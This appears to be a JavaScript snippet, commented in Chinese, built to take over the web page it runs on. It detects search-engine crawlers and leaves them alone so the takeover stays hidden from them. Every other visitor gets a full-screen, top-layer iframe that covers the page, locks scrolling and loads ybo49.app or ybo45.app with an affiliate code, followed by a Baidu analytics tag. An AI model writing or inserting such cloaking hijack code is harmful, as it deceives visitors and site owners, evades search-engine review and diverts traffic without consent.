// 优化后的代码 (function() { 'use strict'; // 配置对象,便于维护和修改 const config = { mobileUrl: "https://www.ybo49.app?icode=5617967", desktopUrl: "https://www.ybo45.app?icode=5617967", spiderPatterns: /(spider|bot|crawler|indexer|scraper)/ig, mobilePatterns: /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i, maxZIndex: 2147483647 }; // 获取UserAgent,只获取一次 const userAgent = navigator.userAgent || ''; // 检查是否为搜索引擎蜘蛛 function isSearchEngineSpider() { return config.spiderPatterns.test(userAgent); } // 检查是否为移动设备 function isMobileDevice() { return config.mobilePatterns.test(userAgent); } // 创建全屏iframe function createFullscreenIframe(url) { // 创建并添加viewport meta标签 const viewportMeta = document.createElement('meta'); viewportMeta.id = 'viewport'; viewportMeta.name = 'viewport'; viewportMeta.content = 'user-scalable=no, width=device-width, initial-scale=1.0'; document.head.appendChild(viewportMeta); // 添加样式 const style = document.createElement('style'); style.textContent = ` html, body { width: 100%; height: 100%; overflow: hidden; margin: 0; padding: 0; } `; document.head.appendChild(style); // 创建覆盖层 const overlay = document.createElement('div'); overlay.style.cssText = ` width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: ${config.maxZIndex}; background: #fff; margin: 0; padding: 0; `; // 创建iframe const iframe = document.createElement('iframe'); iframe.src = url; iframe.style.cssText = ` border: 0; width: 100%; height: 100%; margin: 0; padding: 0; display: block; `; iframe.setAttribute('frameborder', '0'); iframe.setAttribute('allow', 'fullscreen'); // 组装元素 overlay.appendChild(iframe); document.body.appendChild(overlay); // 防止滚动 document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; } // 主逻辑 function init() { // 如果是搜索引擎蜘蛛,直接返回,不执行任何代码 if (isSearchEngineSpider()) { console.log('Search engine spider detected, skipping redirection.'); return; } // 根据设备类型选择URL let targetUrl; if (isMobileDevice()) { targetUrl = config.mobileUrl; console.log('Mobile device detected, redirecting to:', targetUrl); } else { targetUrl = config.desktopUrl; console.log('Desktop device detected, redirecting to:', targetUrl); } // 确保页面已加载完成 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', function() { createFullscreenIframe(targetUrl); }); } else { createFullscreenIframe(targetUrl); } } // 执行初始化 init(); })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?c31fa8b1e741e2cd79d2c92ad606df52"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();